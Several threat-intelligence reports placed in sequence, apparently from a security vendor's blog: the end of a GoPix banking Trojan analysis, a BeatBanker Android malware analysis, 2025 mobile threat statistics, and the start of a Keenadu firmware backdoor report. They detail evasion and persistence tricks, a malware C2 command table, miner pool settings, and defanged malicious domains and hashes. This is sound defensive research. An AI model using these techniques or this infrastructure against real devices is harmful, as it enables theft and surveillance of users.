In order to hide which site GoPix wants to intercept, it uses a CRC32 algorithm in the host field of the PAC file. It is formatted on the fly using a pf configuration file: the items in it determine which proxy the victim will be redirected to. To hide its malicious proxy server, once a connection is opened to the proxy server, the malware enumerates all connections and finds the process that initiated it. It then takes the process executable name CRC32C checksum and compares it with a hardcoded list of browsers’ CRC checksums. If it doesn’t match a known browser, the malware simply terminates the connection.

To uncover GoPix targets, we compiled a list of many Brazilian financial institution domains and subdomains, computed their CRC32 checksums, and compared them against GoPix hardcoded values. The table below shows each CRC32 and its target.

CRC32	Target
8BD688E8	local
8CA8ACFF	www2.banco********.com.br
AD8F5213	autoatendimento.********.com.br
105A3F17	www2.****.com.br
B477FE70	internetbanking.*******.gov.br
785F39C2	loginx.********.br
C72C8593	internetpf.*****.com.br
75E3C3BA	internet.*****.com.br
FD4E6024	internetbanking.*******.com.br

HTTPS interception

Since every communication is encrypted via HTTPS, GoPix bypasses this by injecting a trusted root certificate into the memory of a web browser while on the victim’s machine. This allows the attacker to sniff and even manipulate the victim’s traffic. We have found two certificates across GoPix samples, one that expired in January 2025 and another created in February 2025 that is set to expire in February 2027.

Conclusion

With the ability to load its memory-only implant that employs a malicious Proxy AutoConfig (PAC) file and an HTTP server to execute an unprecedented man-in-the-middle attack, GoPix is by far the most advanced banking Trojan of Brazilian origin. The injection of a trusted root certificate into the browser enhances its ability to intercept and manipulate sensitive financial data while maintaining its stealth profile, as the malicious certificate is not visible to operating system tools. Additionally, GoPix has expanded its clipboard monitoring capability by adding Boleto slips to its arsenal, which already includes Pix transactions and cryptowallets addresses.

This is a sophisticated threat, with multiple layers of evasion, persistence, and functionality. The investigation into the malware’s shellcode, dropper, and main module uncovered intricate mechanisms, including process jumping to leverage specific functionalities across processes. This technique, combined with robust string encryption methods applied to both the dropper and main payload, indicates that the threat actor has gone to great lengths to hinder detection. Interestingly enough, attackers adopted the use of a legitimate commercial anti-fraud service to pre-qualify their targets, aiming to avoid sandboxes and security researchers’ investigations. Additionally, the persistence and cleanup mechanisms implemented by the malware enhance its durability during incident response efforts, with very short C2 lifespans.

For further information on GoPix and all technical details, please contact crimewareintel@kaspersky.com.

Kaspersky’s products detect this threat as HEUR:Trojan-Banker.Win64.GoPix, Trojan.PowerShell.GoPix, and HEUR:Trojan-Banker.OLE2.GoPix.

Indicators of compromise

EB0B4E35A2BA442821E28D617DD2DAA2 – NSIS installer
C64AE7C50394799CE02E97288A12FFF – ZIP archive with an LNK file
D3A17CB4CDBA724A0021F5076B33A103 – Malware dropper
28C314ACC587F1EA5C5666E935DB716C – Main payload

Malicious Certificate Thumbprint
<Name(CN=Root CA 2024)> f110d0bd7f3bd1c7b276dc78154dd21eef953384
<Name(CN=Root CA 2025)> 1b1f85b68e6c9fde709d975a186185c94c0faa51

C2
paletolife[.]com

Domains and IPs
https://correioez0ubcfht9i3.lovehomely[.]com/
https://correiotwknx9gu315h.lovehomely[.]com/
http://webmensagens4bb7[.]com/
https://mydigitalrevival[.]com/get.php
http://b3d0[.]com/1/
http://4a3d[.]com/1/
http://9de1[.]com/1/
http://ef0h[.]com/1/
http://yogarecap[.]com/1/

Recently, we uncovered BeatBanker, an Android‑based malware campaign targeting Brazil. It spreads primarily through phishing attacks via a website disguised as the Google Play Store. To achieve their goals, the malicious APKs carry multiple components, including a cryptocurrency miner and a banking Trojan capable of completely hijacking the device and spoofing screens, among other things. In a more recent campaign, the attackers switched from the banker to a known RAT.

This blog post outlines each phase of the malware’s activity on the victim’s handset, explains how it ensures long‑term persistence, and describes its communication with mining pools.

Key findings:

• To maintain persistence, the Trojan employs a creative mechanism: it plays an almost inaudible audio file on a loop so it cannot be terminated. This inspired us to name it BeatBanker.
• It monitors battery temperature and percentage, and checks whether the user is using the device.
• At various stages of the attack, BeatBanker disguises itself as a legitimate application on the Google Play Store and as the Play Store itself.
• It deploys a banker in addition to a cryptocurrency miner.
• When the user tries to make a USDT transaction, BeatBanker creates overlay pages for Binance and Trust Wallet, covertly replacing the destination address with the threat actor’s transfer address.
• New samples now drop BTMOB RAT instead of the banking module.

Initial infection vector

The campaign begins with a counterfeit website, cupomgratisfood[.]shop, that looks exactly like the Google Play Store. This fake app store contains the “INSS Reembolso” app, which is in fact a Trojan. There are also other apps that are most likely Trojans too, but we haven’t obtained them.

The INSS Reembolso app poses as the official mobile portal of Brazil’s Instituto Nacional do Seguro Social (INSS), a government service that citizens can use to perform more than 90 social security tasks, from retirement applications and medical exam scheduling to viewing CNIS (National Registry of Social Information), tax, and payment statements, as well as tracking request statuses. By masquerading as this trusted platform, the fake page tricks users into downloading the malicious APK.

Packing

The initial APK file is packed and makes use of a native shared library (ELF) named  libludwwiuh.so that is included in the application. Its main task is to decrypt another ELF file that will ultimately load the original DEX file.

First, libludwwiuh.so decrypts an embedded encrypted ELF file and drops it to a temporary location on the device under the name l.so. The same code that loaded the libludwwiuh.so library then loads this file, which uses the Java Native Interface (JNI) to continue execution.

l.so – the DEX loader

The library does not have calls to its functions; instead, it directly calls the Java methods whose names are encrypted in the stack using XOR (stack strings technique) and restored at runtime:

Initially, the loader makes a request to collect some network information using https://ipapi.is to determine whether the infected device is a mobile device, if a VPN is being used, and to obtain the IP address and other details.

This loader is engineered to bypass mobile antivirus products by utilizing dalvik.system.InMemoryDexClassLoader. It loads malicious DEX code directly into memory, avoiding the creation of any files on the device’s file system. The necessary DEX files can be extracted using dynamic analysis tools like Frida.

Furthermore, the sample incorporates anti-analysis techniques, including runtime checks for emulated or analysis environments. When such an environment is detected (or when specific checks fail, such as verification of the supported CPU_ABI), the malware can immediately terminate its own process by invoking android.os.Process.killProcess(android.os.Process.myPid()), effectively self-destructing to hinder dynamic analysis.

After execution, the malware displays a user interface that mimics the Google Play Store page, showing an update available for the INSS Reembolso app. This is intended to trick victims into granting installation permissions by tapping the “Update” button, which allows the download of additional hidden malicious payloads.

The payload delivery process mimics the application update. The malware uses the REQUEST_INSTALL_PACKAGES permission to install APK files directly into its memory, bypassing Google Play. To ensure persistence, the malware keeps a notification about a system update pinned to the foreground and activates a foreground service with silent media playback, a tactic designed to prevent the operating system from terminating the malicious process.

Crypto mining

When UPDATE is clicked on a fake Play Store screen, the malicious application downloads and executes an ELF file containing a cryptomining payload. It starts by issuing a GET request to the C2 server at either hxxps://accessor.fud2026.com/libmine-<arch>.so or hxxps://fud2026.com/libmine-<arch>.so. The downloaded file is then decrypted using CipherInputStream(), with the decryption key being derived from the SHA-1 hash of the downloaded file’s name, ensuring that each version of the file is encrypted with a unique key. The resulting file is renamed d-miner.

The decrypted payload is an ARM-compiled XMRig 6.17.0 binary. At runtime, it attempts to create a direct TCP connection to pool.fud2026[.]com:9000. If successful, it uses this endpoint; otherwise, it automatically switches to the proxy endpoint pool-proxy.fud2026[.]com:9000. The final command-line arguments passed to XMRig are as follows:

• -o pool.fud2026[.]com:9000 or pool-proxy.fud2026[.]com:9000 (selected dynamically)
• -k (keepalive)
• --tls (encrypted connection)
• --no-color (disable colored output)
• --nicehash (NiceHash protocol support)

C2 telemetry

The malware uses Google’s legitimate Firebase Cloud Messaging (FCM) as its primary command‑and‑control (C2) channel. In the analyzed sample, each FCM message received triggers a check of the battery status, temperature, installation date, and user presence. A hidden cryptocurrency miner is then started or stopped as needed. These mechanisms ensure that infected devices remain permanently accessible and responsive to the attacker’s instructions, which are sent through the FCM infrastructure. The attacker monitors the following information:

• isCharging: indicates whether the phone is charging;
• batteryLevel: the exact battery percentage;
• isRecentInstallation: indicates whether the application was recently installed (if so, the implant delays malicious actions);
• isUserAway: indicates whether the user is away from the device (screen off and inactive);
• overheat: indicates whether the device is overheating;
• temp: the current battery temperature.

Persistence

The KeepAliveServiceMediaPlayback component ensures continuous operation by initiating uninterrupted playback via MediaPlayer. It keeps the service active in the foreground using a notification and loads a small, continuous audio file. This constant activity prevents the system from suspending or terminating the process due to inactivity.

The identified audio output8.mp3 is five seconds long and plays on a loop. It contains some Chinese words.

Banking module

BeatBanker compromises the machine with a cryptocurrency miner and introduces another malicious APK that acts as a banking Trojan. This Trojan uses previously obtained permission to install an additional APK called INSS Reebolso, which is associated with the package com.destination.cosmetics.

Similar to the initial malicious APK, it establishes persistence by creating and displaying a fixed notification in the foreground to hinder removal. Furthermore, BeatBanker attempts to trick the user into granting accessibility permissions to the package.

Leveraging the acquired accessibility permissions, the malware establishes comprehensive control over the device’s user interface.

The Trojan constantly monitors the foreground application. It targets the official Binance application (com.binance.dev) and the Trust Wallet application (com.wallet.crypto.trustapp), focusing on USDT transactions. When a user tries to withdraw USDT, the Trojan instantly overlays the target app’s transaction confirmation screen with a highly realistic page sourced from Base64-encoded HTML stored in the banking module.

The module captures the original withdrawal address and amount, then surreptitiously substitutes the destination address with an attacker-controlled one using AccessibilityNodeInfo.ACTION_SET_TEXT. The overlay page shows the victim the address they copied (for Binance) or just shows a loading icon (for Trust Wallet), leading them to believe they are remitting funds to the intended wallet when, in fact, the cryptocurrency is transferred to the attacker’s designated address.

Target browsers

BeatBanker’s banking module monitors the following browsers installed on the victim’s device:

• Chrome
• Firefox
• sBrowser
• Brave
• Opera
• DuckDuckGo
• Dolphin Browser
• Edge

Its aim is to collect the URLs accessed by the victim using the regular expression ^(?:https?://)?(?:[^:/\\\\]+\\\\.)?([^:/\\\\]+\\\\.[^:/\\\\]+). It also offers management functionalities (add, edit, delete, list) for links saved in the device’s default browser, as well as the ability to open links provided by the attacker.

C2 communication

BeatBanker is also designed to receive commands from the C2. These commands aim to collect the victim’s personal information and gain complete control of the device.

Command	Description
0	Starts dynamic loading of the DEX class
Update	Simulates software update and locks the screen
msg:	Displays a Toast message with the provided text
goauth<*>	Opens Google Authenticator (if installed) and enables the AccessService.SendGoogleAuth flag used to monitor and retrieve authentication codes
kill<*>	Sets the protection bypass flag AccessService.bypass to “True” and sets the initializeService.uninstall flag to “Off”
srec<*>	Starts or stops audio recording (microphone), storing the recorded data in a file with an automatically generated filename. The following path format is used to store the recording: /Config/sys/apps/rc/<timestamp>_0REC<last5digits>.wav
pst<*>	Pastes text from the clipboard (via Accessibility Services)
GRC<*>	Lists all existing audio recording files
gtrc<*>	Sends a specific audio recording file to the C2
lcm<*>	Lists supported front camera resolutions
usdtress<*>	Sets a USDT cryptocurrency address when a transaction is detected
lnk<*>	Opens a link in the browser
EHP<*>	Updates login credentials (host, port, name) and restarts the application
ssms<*>	Sends an SMS message (individually or to all contacts)
CRD<*>	Adds (E>) or removes (D>) packages from the list of blocked/disabled applications
SFD<*>	Deletes files (logs, recordings, tones) or uninstalls itself
adm<>lck<>	Immediately locks the screen using Device Administrator permissions
adm<>wip<>	Performs a complete device data wipe (factory reset)
Aclk<*>	Executes a sequence of automatic taps (auto-clicker) or lists existing macros
KBO<*>lod	Checks the status of the keylogger and virtual keyboard
KBO<*>AKP/AKA	Requests permission to activate a custom virtual keyboard or activates one
KBO<*>ENB:	Enables (1) or disables (0) the keylogger
RPM<*>lod	Checks the status of all critical permissions
RPM<*>ACC	Requests Accessibility Services permission
RPM<*>DOZ	Requests Doze/App Standby permission (battery optimization)
RPM<*>DRW	Requests Draw Over Other Apps permission (overlay)
RPM<*>INST	Requests permission to install apps from unknown sources (Android 8+)
ussd<*>	Executes a USSD code (e.g., *#06# for IMEI)
Blkt<*>	Sets the text for the lock overlay
BLKV<*>	Enables or disables full-screen lock using WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY to display a black FrameLayout element over the entire screen
SCRD<> / SCRD2<>	Enables/disables real-time screen text submission to the C2 (screen reading)
rdall<*>	Clears or sends all keylogger logs
rdd<*>	Deletes a specific log file
rd<*>	Sends the content of a specific keylogger file
MO<*>	Manages application monitoring (add, remove, list, screenshot, etc.)
FW<*>	Controls VPN and firewall (status, block/allow apps, enable/disable)
noti<*>	Creates persistent and custom notifications
sp<*>	Executes a sequence of swipes/taps (gesture macro)
lodp<*>	Manages saved links in the internal browser (add, edit, delete, list)
scc:	Starts screen capture/streaming

New BeatBanker samples dropping BTMOB

Our recent detection efforts uncovered a campaign leveraging a fraudulent StarLink application that we assess as being a new BeatBanker variant. The infection chain mirrored previous instances, employing identical persistence methods – specifically, looped audio and fixed notifications. Furthermore, this variant included a crypto miner similar to those seen previously. However, rather than deploying the banking module, it was observed distributing the BTMOB remote administration tool.

The BTMOB APK is highly obfuscated and contains a class responsible for configuration. Despite this, it’s possible to identify a parser used to define the application’s behavior on the device, as well as persistence features, such as protection against restart, deletion, lock reset, and the ability to perform real-time screen recording.

String decryption

The simple decryption routine uses repetitive XOR between the encrypted data and a short key. It iterates through the encrypted text byte by byte, repeating the key from the beginning whenever it reaches the end. At each position, the sample XORs the encrypted byte with the corresponding byte of the key, overwriting the original. Ultimately, the modified byte array contains the original text, which is then converted to UTF-8 and returned as a string.

Malware-as-a-Service

BTMOB is an Android remote administration tool that evolved from the CraxsRAT, CypherRAT, and SpySolr families. It provides full remote control of the victim’s device and is sold in a Malware-as-a-Service (MaaS) model. On July 26, 2025, a threat actor posted a screenshot of the BTMOB RAT in action on GitHub under the username “brmobrats”, along with a link to the website btmob[.]xyz. The website contains information about the BTMOB RAT, including its version history, features, and other relevant details. It also redirects to a Telegram contact. Cyfirma has already linked this account to CraxsRAT and CypherRAT.

Recently, a YouTube channel was created by a different threat actor that features videos demonstrating how to use the malware and facilitate its sale via Telegram.

We also saw the distribution and sale of leaked BTMOB source code on some dark web forums. This may suggest that the creator of BeatBanker acquired BTMOB from its original author or the source of the leak and is utilizing it as the final payload, replacing the banking module observed in the INSS Reebolso incident.

In terms of functionality, BTMOB maintains a set of intrusive capabilities, including: automatic granting of permissions, especially on Android 13–15 devices; use of a black FrameLayout overlay to hide system notifications similar to the one observed in the banking module; silent installation; persistent background execution; and mechanisms designed to capture screen lock credentials, including PINs, patterns, and passwords. The malware also provides access to front and rear cameras, captures keystrokes in real time, monitors GPS location, and constantly collects sensitive data. Together, these functionalities provide the operator with comprehensive remote control, persistent access, and extensive surveillance capabilities over compromised devices.

Victims

All variants of BeatBanker – those with the banking module and those with the BTMOB RAT – were detected on victims in Brazil. Some of the samples that deliver BTMOB appear to use WhatsApp to spread, as well as phishing pages.

Conclusion

BeatBanker is an excellent example of how mobile threats are becoming more sophisticated and multi-layered. Initially focused in Brazil, this Trojan operates a dual campaign, acting as a Monero cryptocurrency miner, discreetly draining your device’s battery life while also stealing banking credentials and tampering with cryptocurrency transactions. Moreover, the most recent version goes even further, substituting the banking module with a full-fledged BTMOB RAT.

The attackers have devised inventive tricks to maintain persistence. They keep the process alive by looping an almost inaudible audio track, which prevents the operating system from terminating it and allows BeatBanker to remain active for extended periods.

Furthermore, the threat demonstrates an obsession with staying hidden. It monitors device usage, battery level and temperature. It even uses Google’s legitimate system (FCM) to receive commands. The threat’s banking module is capable of overlaying Binance and Trust Wallet screens and diverting USDT funds to the criminals’ wallets before the victim even notices.

The lesson here is clear: distrust is your best defense. BeatBanker spreads through fake websites that mimic Google Play, disguising itself as trustworthy government applications. To protect yourself against threats like this, it is essential to:

1. Download apps only from official sources. Always use the Google Play Store or the device vendor’s official app store. Make sure you use the correct app store app, and verify the developer.
2. Check permissions. Pay attention to the permissions that applications request, especially those related to accessibility and installation of third-party packages.
3. Keep the system updated. Security updates for Android and your mobile antivirus are essential.

Our solutions detect this threat as HEUR:Trojan-Dropper.AndroidOS.BeatBanker and HEUR:Trojan-Dropper.AndroidOS.Banker.*

Indicators of compromise

Additional IoCs, TTPs and detection rules are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

Host-based (MD5 hashes)
F6C979198809E13859196B135D21E79B – INSS Reebolso
D3005BF1D52B40B0B72B3C3B1773336B – StarLink

Domains
cupomgratisfood[.]shop
fud2026[.]com
accessor.fud2026[.]com
pool.fud2026[.]com
pool-proxy.fud2026[.]com
aptabase.fud2026[.]com
aptabase.khwdji319[.]xyz
btmob[.]xyz
bt-mob[.]net

Starting from the third quarter of 2025, we have updated our statistical methodology based on the Kaspersky Security Network. These changes affect all sections of the report except for the installation package statistics, which remain unchanged.

To illustrate trends between reporting periods, we have recalculated the previous year’s data; consequently, these figures may differ significantly from previously published numbers. All subsequent reports will be generated using this new methodology, ensuring accurate data comparisons with the findings presented in this article.

Kaspersky Security Network (KSN) is a global network for analyzing anonymized threat intelligence, voluntarily shared by Kaspersky users. The statistics in this report are based on KSN data unless explicitly stated otherwise.

The year in figures

According to Kaspersky Security Network, in 2025:

• Over 14 million attacks involving malware, adware or unwanted mobile software were blocked.
• Adware remained the most prevalent mobile threat, accounting for 62% of all detections.
• Over 815 thousand malicious installation packages were detected, including 255 thousand mobile banking Trojans.

The year’s highlights

In 2025, cybercriminals launched an average of approximately 1.17 million attacks per month against mobile devices using malicious, advertising, or unwanted software. In total, Kaspersky solutions blocked 14,059,465 attacks throughout the year.

Attacks on Kaspersky mobile users in 2025 (download)

Beyond the malware mentioned in previous quarterly reports, 2025 saw the discovery of several other notable Trojans. Among these, in Q4 we uncovered the Keenadu preinstalled backdoor. This malware is integrated into device firmware during the manufacturing stage. The malicious code is injected into libandroid_runtime.so – a core library for the Android Java runtime environment – allowing a copy of the backdoor to enter the address space of every app running on the device. Depending on the specific app, the malware can then perform actions such as inflating ad views, displaying banners on behalf of other apps, or hijacking search queries. The functionality of Keenadu is virtually unlimited, as its malicious modules are downloaded dynamically and can be updated remotely.

Cybersecurity researchers also identified the Kimwolf IoT botnet, which specifically targets Android TV boxes. Infected devices are capable of launching DDoS attacks, operating as reverse proxies, and executing malicious commands via a reverse shell. Subsequent analysis revealed that Kimwolf’s reverse proxy functionality was being leveraged by proxy providers to use compromised home devices as residential proxies.

Another notable discovery in 2025 was the LunaSpy Trojan.

Disguised as antivirus software, this spyware exfiltrates browser passwords, messaging app credentials, SMS messages, and call logs. Furthermore, it is capable of recording audio via the device’s microphone and capturing video through the camera. This threat primarily targeted users in Russia.

Mobile threat statistics

815,735 new unique installation packages were observed in 2025, showing a decrease compared to the previous year. While the decline in 2024 was less pronounced, this past year saw the figure drop by nearly one-third.

Detected Android-specific malware and unwanted software installation packages in 2022–2025 (download)

The overall decrease in detected packages is primarily due to a reduction in apps categorized as not-a-virus. Conversely, the number of Trojans has increased significantly, a trend clearly reflected in the distribution data below.

Detected packages by type

Distribution* of detected mobile software by type, 2024–2025 (download)

* The data for the previous year may differ from previously published data due to some verdicts being retrospectively revised.

A significant increase in Trojan-Banker and Trojan-Spy apps was accompanied by a decline in AdWare and RiskTool files. The most prevalent banking Trojans were Mamont (accounting for 49.8% of apps) and Creduz (22.5%). Leading the persistent adware category were MobiDash (39%), Adlo (27%), and HiddenAd (20%).

Share* of users attacked by each type of malware or unwanted software out of all users of Kaspersky mobile solutions attacked in 2024–2025 (download)

* The total may exceed 100% if the same users encountered multiple attack types.

Trojan-Banker malware saw a significant surge in 2025, not only in terms of unique file counts but also in the total number of attacks. Nevertheless, this category ranked fourth overall, trailing far behind the Trojan file category, which was dominated by various modifications of Triada and Fakemoney.

TOP 20 types of mobile malware

Note that the malware rankings below exclude riskware and potentially unwanted apps, such as RiskTool and adware.

Verdict	% 2024*	% 2025*	Difference in p.p.	Change in ranking
Trojan.AndroidOS.Triada.fe	0.04	9.84	+9.80
Trojan.AndroidOS.Triada.gn	2.94	8.14	+5.21	+6
Trojan.AndroidOS.Fakemoney.v	7.46	7.97	+0.51	+1
DangerousObject.Multi.Generic	7.73	5.83	–1.91	–2
Trojan.AndroidOS.Triada.ii	0.00	5.25	+5.25
Trojan-Banker.AndroidOS.Mamont.da	0.10	4.12	+4.02
Trojan.AndroidOS.Triada.ga	10.56	3.75	–6.81	–6
Trojan-Banker.AndroidOS.Mamont.db	0.01	3.53	+3.51
Backdoor.AndroidOS.Triada.z	0.00	2.79	+2.79
Trojan-Banker.AndroidOS.Coper.c	0.81	2.54	+1.72	+35
Trojan-Clicker.AndroidOS.Agent.bh	0.34	2.48	+2.14	+74
Trojan-Dropper.Linux.Agent.gen	1.82	2.37	+0.55	+4
Trojan.AndroidOS.Boogr.gsh	5.41	2.06	–3.35	–8
DangerousObject.AndroidOS.GenericML	2.42	1.97	–0.45	–3
Trojan.AndroidOS.Triada.gs	3.69	1.93	–1.76	–9
Trojan-Downloader.AndroidOS.Agent.no	0.00	1.87	+1.87
Trojan.AndroidOS.Triada.hf	0.00	1.75	+1.75
Trojan-Banker.AndroidOS.Mamont.bc	1.13	1.65	+0.51	+8
Trojan.AndroidOS.Generic.	2.13	1.47	–0.66	–6
Trojan.AndroidOS.Triada.hy	0.00	1.44	+1.44

* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.

The list is largely dominated by the Triada family, which is distributed via malicious modifications of popular messaging apps. Another infection vector involves tricking victims into installing an official messaging app within a “customized virtual environment” that supposedly offers enhanced configuration options. Fakemoney scam applications, which promise fraudulent investment opportunities or fake payouts, continue to target users frequently, ranking third in our statistics. Meanwhile, the Mamont banking Trojan variants occupy the 6th, 8th, and 18th positions by number of attacks. The Triada backdoor preinstalled in the firmware of certain devices reached the 9th spot.

Region-specific malware

This section describes malware families whose attack campaigns are concentrated within specific countries.

Verdict	Country*	%**
Trojan-Banker.AndroidOS.Coper.a	Türkiye	95.74
Trojan-Dropper.AndroidOS.Hqwar.bj	Türkiye	94.96
Trojan.AndroidOS.Thamera.bb	India	94.71
Trojan-Proxy.AndroidOS.Agent.q	Germany	93.70
Trojan-Banker.AndroidOS.Coper.c	Türkiye	93.42
Trojan-Banker.AndroidOS.Rewardsteal.lv	India	92.44
Trojan-Banker.AndroidOS.Rewardsteal.jp	India	92.31
Trojan-Banker.AndroidOS.Rewardsteal.ib	India	91.91
Trojan-Dropper.AndroidOS.Rewardsteal.h	India	91.45
Trojan-Banker.AndroidOS.Rewardsteal.nk	India	90.98
Trojan-Dropper.AndroidOS.Agent.sm	Türkiye	90.34
Trojan-Dropper.AndroidOS.Rewardsteal.ac	India	89.38
Trojan-Banker.AndroidOS.Rewardsteal.oa	India	89.18
Trojan-Banker.AndroidOS.Rewardsteal.ma	India	88.58
Trojan-Spy.AndroidOS.SmForw.ko	India	88.48
Trojan-Dropper.AndroidOS.Pylcasa.c	Brazil	88.25
Trojan-Dropper.AndroidOS.Hqwar.bf	Türkiye	88.15
Trojan-Banker.AndroidOS.Agent.pp	India	87.85

* Country where the malware was most active.
** Unique users who encountered the malware in the indicated country as a percentage of all users of Kaspersky mobile solutions who were attacked by the same malware.

Türkiye saw the highest concentration of attacks from Coper banking Trojans and their associated Hqwar droppers. In India, Rewardsteal Trojans continued to proliferate, exfiltrating victims’ payment data under the guise of monetary giveaways. Additionally, India saw a resurgence of the Thamera Trojan, which we previously observed frequently attacking users in 2023. This malware hijacks the victim’s device to illicitly register social media accounts.

The Trojan-Proxy.AndroidOS.Agent.q campaign, concentrated in Germany, utilized a compromised third-party application designed for tracking discounts at a major German retail chain. Attackers monetized these infections through unauthorized use of the victims’ devices as residential proxies.

In Brazil, 2025 saw a concentration of Pylcasa Trojan attacks. This malware is primarily used to redirect users to phishing pages or illicit online casino sites.

Mobile banking Trojans

The number of new banking Trojan installation packages surged to 255,090, representing a several-fold increase over previous years.

Mobile banking Trojan installation packages detected by Kaspersky in 2022–2025 (download)

Notably, the total number of attacks involving bankers grew by 1.5 times, maintaining the same growth rate seen in the previous year. Given the sharp spike in the number of unique malicious packages, we can conclude that these attacks yield significant profit for cybercriminals. This is further evidenced by the fact that threat actors continue to diversify their delivery channels and accelerate the production of new variants in an effort to evade detection by security solutions.

TOP 10 mobile bankers

Verdict	% 2024*	% 2025*	Difference in p.p.	Change in ranking
Trojan-Banker.AndroidOS.Mamont.da	0.86	15.65	+14.79	+28
Trojan-Banker.AndroidOS.Mamont.db	0.12	13.41	+13.29
Trojan-Banker.AndroidOS.Coper.c	7.19	9.65	+2.46	+2
Trojan-Banker.AndroidOS.Mamont.bc	10.03	6.26	–3.77	–3
Trojan-Banker.AndroidOS.Mamont.ev	0.00	4.10	+4.10
Trojan-Banker.AndroidOS.Coper.a	9.04	4.00	–5.04	–4
Trojan-Banker.AndroidOS.Mamont.ek	0.00	3.73	+3.73
Trojan-Banker.AndroidOS.Mamont.cb	0.64	3.04	+2.40	+26
Trojan-Banker.AndroidOS.Faketoken.pac	2.17	2.95	+0.77	+5
Trojan-Banker.AndroidOS.Mamont.hi	0.00	2.75	+2.75

* Unique users who encountered this malware as a percentage of all users of Kaspersky mobile solutions who encountered banking threats.

In 2025, we observed a massive surge in activity from Mamont banking Trojans. They accounted for approximately half of all new apps in their category and also were utilized in half of all banking Trojan attacks.

Conclusion

The year 2025 saw a continuing trend toward a decline in total unique unwanted software installation packages. However, we noted a significant year-over-year increase in specific threats – most notably mobile banking Trojans and spyware – even though adware remained the most frequently detected threat overall.

Among the mobile threats detected, we have seen an increased prevalence of preinstalled backdoors, such as Triada and Keenadu. Consistent with last year’s findings, certain mobile malware families continue to proliferate via official app stores. Finally, we have observed a growing interest among threat actors in leveraging compromised devices as proxies.

In April 2025, we reported on a then-new iteration of the Triada backdoor that had compromised the firmware of counterfeit Android devices sold across major marketplaces. The malware was deployed to the system partitions and hooked into Zygote – the parent process for all Android apps – to infect any app on the device. This allowed the Trojan to exfiltrate credentials from messaging apps and social media platforms, among other things.

This discovery prompted us to dive deeper, looking for other Android firmware-level threats. Our investigation uncovered a new backdoor, dubbed Keenadu, which mirrored Triada’s behavior by embedding itself into the firmware to compromise every app launched on the device. Keenadu proved to have a significant footprint; following its initial detection, we saw a surge in support requests from our users seeking further information about the threat. This report aims to address most of the questions and provide details on this new threat.

Our findings can be summarized as follows:

• We discovered a new backdoor, which we dubbed Keenadu, in the firmware of devices belonging to several brands. The infection occurred during the firmware build phase, where a malicious static library was linked with libandroid_runtime.so. Once active on the device, the malware injected itself into the Zygote process, similarly to Triada. In several instances, the compromised firmware was delivered with an OTA update.
• A copy of the backdoor is loaded into the address space of every app upon launch. The malware is a multi-stage loader granting its operators the unrestricted ability to control the victim’s device remotely.
• We successfully intercepted the payloads retrieved by Keenadu. Depending on the targeted app, these modules hijack the search engine in the browser, monetize new app installs, and stealthily interact with ad elements.
• One specific payload identified during our research was also found embedded in numerous standalone apps distributed via third-party repositories, as well as official storefronts like Google Play and Xiaomi GetApps.
• In certain firmware builds, Keenadu was integrated directly into critical system utilities, including the facial recognition service, the launcher app, and others.
• Our investigation established a link between some of the most prolific Android botnets: Triada, BADBOX, Vo1d, and Keenadu.

The complete Keenadu infection chain looks like this:

Kaspersky solutions detect the threats described below with the following verdicts:

HEUR:Backdoor.AndroidOS.Keenadu.*
HEUR:Trojan-Downloader.AndroidOS.Keenadu.*
HEUR:Trojan-Clicker.AndroidOS.Keenadu.*
HEUR:Trojan-Spy.AndroidOS.Keenadu.*
HEUR:Trojan.AndroidOS.Keenadu.*
HEUR:Trojan-Dropper.AndroidOS.Gegu.*

Malicious dropper in libandroid_runtime.so

At the very beginning of the investigation, our attention was drawn to suspicious libraries located at /system/lib/libandroid_runtime.so and /system/lib64/libandroid_runtime.so – we will use the shorthand /system/lib[64]/ to denote these two directories. The library exists in the original Android source. Specifically, it defines the println_native native method for the android.util.Log class. Apps utilize this method to write to the logcat system log. In the suspicious libraries, the implementation of println_native differed from the legitimate version by the call of a single function:

The suspicious function decrypted data from the library body using RC4 and wrote it to /data/dalvik-cache/arm[64]/system@framework@vndx_10x.jar@classes.jar. The data represents a payload that is loaded via DexClassLoader. The entry point within it is the main method of the com.ak.test.Main class, where “ak” likely refers to the author’s internal name for the malware; this letter combination is also used in other locations throughout the code. In particular, the developers left behind a significant amount of code that writes error messages to the logcat log during the malware’s execution. These messages have the AK_CPP tag.

The payload checks whether it is running within system apps belonging either to Google services or to Sprint or T-Mobile carriers. The latter apps are typically found in specialized device versions that carriers sell at a discount, provided the buyer signs a service contract. The malware aborts its execution if it finds that it’s running within these processes. It also implements a kill switch that terminates its execution if it finds files with specific names in system directories.

Next, the Trojan checks if it is running within the system_server process. This process controls the entire system and possesses maximum privileges; it is launched by the Zygote process when it starts. If the check returns positive, the Trojan creates an instance of the AKServer class; if the code is running in any other process, it creates an instance of the AKClient class instead. It then calls the new object’s virtual method, passing the app process name to it. The class names suggest that the Trojan is built upon a client-server architecture.

The system_server process creates and launches various system services with the help of the SystemServiceManager class. These services are based on a client-server architecture, and clients for them are requested within app code by calling the Context.getSystemService method. Communication with the server-side component uses the Android inter-process communication (IPC) primitive, binder. This approach offers numerous security and other benefits. These include, among other things, the ability to restrict certain apps from accessing various system services and their functionality, as well as the presence of abstractions that simplify the use of this access for developers while simultaneously protecting the system from potential vulnerabilities in apps.

The authors of Keenadu designed it in a similar fashion. The core logic is located in the AKServer class, which operates within the system_server process. AKServer essentially represents a malicious system service, while AKClient acts as the interface for accessing AKServer via binder. For convenience, we provide a diagram of the backdoor’s architecture below:

It is important to highlight Keenadu as yet another case where we find key Android security principles being compromised. First, because the malware is embedded in libandroid_runtime.so, it operates within the context of every app on the device, thereby gaining access to all their data and rendering the system’s intended app sandboxing meaningless. Second, it provides interfaces for bypassing permissions (discussed below) that are used to control app privileges within the system. Consequently, it represents a full-fledged backdoor that allows attackers to gain virtually unrestricted control over the victim’s device.

AKClient architecture

AKClient is relatively straightforward in its design. It is injected into every app launched on the device and retrieves an interface instance for server communication via a protected broadcast (com.action.SystemOptimizeService). Using binder, this interface sends an attach transaction to the malicious AKServer, passing an IPC wrapper that facilitates the loading of arbitrary DEX files within the context of the compromised app. This allows AKServer to execute custom malicious payloads tailored to the specific app it has targeted.

AKServer architecture

